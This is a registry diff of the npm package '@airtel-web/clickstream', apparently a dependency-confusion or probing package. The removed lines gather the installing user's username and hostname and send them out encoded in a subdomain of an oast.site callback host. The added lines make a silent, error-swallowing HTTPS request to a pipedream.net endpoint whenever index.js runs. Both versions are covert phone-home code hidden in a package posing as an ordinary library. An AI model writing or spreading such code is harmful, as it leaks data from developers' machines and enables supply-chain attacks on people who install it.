@airtel-web/clickstream 99.0.1 → 99.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +19 -12
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,14 +1,21 @@
|
|
|
1
|
-
const
|
|
2
|
-
|
|
3
|
-
//
|
|
4
|
-
const user = os.userInfo().username;
|
|
5
|
-
const host = os.hostname();
|
|
6
|
-
// 2. Encode it into a domain
|
|
7
|
-
const payload = `airtel.${user}.${host}.[d55f71qdlsbe5tabiulgcuzug71mfgwn5.oast.site]`;
|
|
8
|
-
// 3. Send the Signal (Fire and Forget)
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
// Minimal "fire and forget" GET request
|
|
9
4
|
try {
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
5
|
+
https
|
|
6
|
+
.get(
|
|
7
|
+
{
|
|
8
|
+
hostname: 'eosrhixgl4px9ae.m.pipedream.net',
|
|
9
|
+
port: 443,
|
|
10
|
+
path: '/',
|
|
11
|
+
method: 'GET'
|
|
12
|
+
},
|
|
13
|
+
(res) => {
|
|
14
|
+
// Drain and ignore response
|
|
15
|
+
res.resume();
|
|
16
|
+
}
|
|
17
|
+
)
|
|
18
|
+
.on('error', () => {
|
|
19
|
+
// Silently ignore errors
|
|
20
|
+
});
|
|
14
21
|
} catch (e) { }
|